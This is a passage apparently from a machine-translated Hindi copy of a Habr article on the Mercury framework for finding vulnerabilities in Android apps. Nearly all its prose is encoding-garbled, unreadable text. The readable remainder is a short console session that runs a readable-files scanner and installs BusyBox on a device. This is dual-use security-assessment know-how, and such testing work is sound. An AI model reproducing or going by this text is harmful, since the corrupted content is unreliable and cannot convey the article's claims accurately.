рд▓реЗрдХрд┐рди рдЗрд╕ рддрд░рд╣ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмреАрдЪ рдореБрдЦреНрдп рдЕрдВрддрд░ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЬреЛ рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рд╕рдм рдХреБрдЫ рдХрд░рддрд╛ рд╣реИ рдЙрд╕реЗ рдХрд┐рд╕реА рдЕрддрд┐рд░рд┐рдХреНрдд рдЕрдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдирдП рд╡реЙрд▓рдкреЗрдкрд░ рд▓рдЧрд╛рдиреЗ рдХреА рдкреЗрд╢рдХрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдЪреВрдВрдХрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рд▓реЛрдЧреЛрдВ рдиреЗ рд╕реАрдЦрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЬреАрдм рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡реАрдбрд┐рдпреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдПрд╕рдПрдордПрд╕ рднреЗрдЬрдиреЗ рдФрд░ рдПрд╕рдбреА рдХрд╛рд░реНрдб рдорд╛рдЙрдВрдЯ рдХрд░рдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рдЪрд╛рд╣рд┐рдПред рд▓реЗрдХрд┐рди рдЙрдиреНрд╣реЛрдВрдиреЗ рдХреБрдЫ рднреА рдЕрдЬреАрдм рдирд╣реАрдВ рджреЗрдЦрд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд▓рдЧрд╛ рдХрд┐ рд╕реНрдерд╛рдкрдирд╛ рд╕реЗ рдХреЛрдИ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рд╣реЛрдЧреАред рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдПрдореНрдмреЗрдб рдХрд░реЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдорд╛рд░реЗ рдХрд┐рд╕реА рднреА рдирд╛рд░рд╛рдЬ рдкрдХреНрд╖рд┐рдпреЛрдВ рдореЗрдВ ...

рдмреБрдз рдХреА рдЕрдиреНрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ


рдЗрд╕рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╕реНрдХреИрдирд░ рднреА рд╣реИрдВ рдЬреЛ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕рднреА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рдПрдВрдЧреЗ рдФрд░ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдЪреБрдиреЗ рдЧрдП рднреЗрджреНрдпрддрд╛ рдХреЗ рдкреНрд░рдХрд╛рд░ рдХрд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗред рдкрд┐рдЫрд▓реЗ рдкреНрд░рдХрд╛рд░ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реНрдХреИрдирд░:

рдкрде рдкреНрд░рдХрдЯреАрдХрд░рдг рднреЗрджреНрдпрддрд╛ рд╕реНрдХреИрдирд░ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдЬрд┐рд╕реЗ рд╣рдо рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВрдЧреЗ, рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЕрдВрдд рдореЗрдВ, рдкрд░рд┐рдгрд╛рдо рдЬреЛ рдпрд╛ рддреЛ рдКрдкрд░ рдФрд░ / рдпрд╛ рдкреАрдЫреЗ рд╕реЗ рдХрдорд╛рдВрдб рджреНрд╡рд╛рд░рд╛ рдЪреЗрдХ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред

рдХреБрдЫ рд╕реНрдХреИрдирд░ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдмрд┐рдЬреАрдмреЙрдХреНрд╕ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:

 mercury> run scanner.misc.readablefiles This command requires BusyBox to complete. Run tools.setup.busybox and then retry. mercury> run tools.setup.busybox BusyBox installed. mercury> 

рдирд┐рд╖реНрдХрд░реНрд╖


рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдордиреЗ рдПрдВрдбреНрд░реЙрдЗрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди - рдкрд╛рд░рд╛ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдореБрд▓рд╛рдХрд╛рдд рдХреАред рд╣рдордиреЗ рдПрдВрдбреНрд░реЙрдЗрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди - рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛рдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рдЬрд╛рдВрдЪ рдХреАред рдЧрддрд┐рд╡рд┐рдзрд┐, рд╕реЗрд╡рд╛рдПрдБ рдФрд░ рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рд░рд┐рд╕реАрд╡рд░ рдЕрдирд▓рд┐рдорд┐рдЯреЗрдб рдмрдиреЗ рд░рд╣реЗред рднрд╡рд┐рд╖реНрдп рдореЗрдВ, рдпрд╣ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рддрд░рд╣ рдХреА рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдкрд╛рд░рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХреЛ рдЦреЛрдЬрдиреЗ рдФрд░ рджрд┐рдЦрд╛рдиреЗ рдХреА рдпреЛрдЬрдирд╛ рд╣реИред рдпрд╣ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рдирд┐рдХрдЯрддрд╛ рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рд╣реЛрдиреЗ рдХреА рдпреЛрдЬрдирд╛ рднреА рд╣реИред

рд╣рдо рддрддреНрдХрд╛рд▓ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдпреИрдВрдбреЗрдХреНрд╕ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рднрд╛рдЧ рдХреЗ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮреЛрдВ рдХреЛ рдзрдиреНрдпрд╡рд╛рдж рджреЗрддреЗ рд╣реИрдВ! рдФрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдбреЗрд╡рд▓рдкрд░реНрд╕ - рдкрд╛рдпрд╛ рдкрд╣рдЪрд╛рди рдХреА рдзреАрдореА рд▓реЗрдХрд┐рди рд╕рдЪ;) рд╕реБрдзрд╛рд░ рдХреЗ рд▓рд┐рдПред

Source: https://habr.com/ru/post/In181450/


All Articles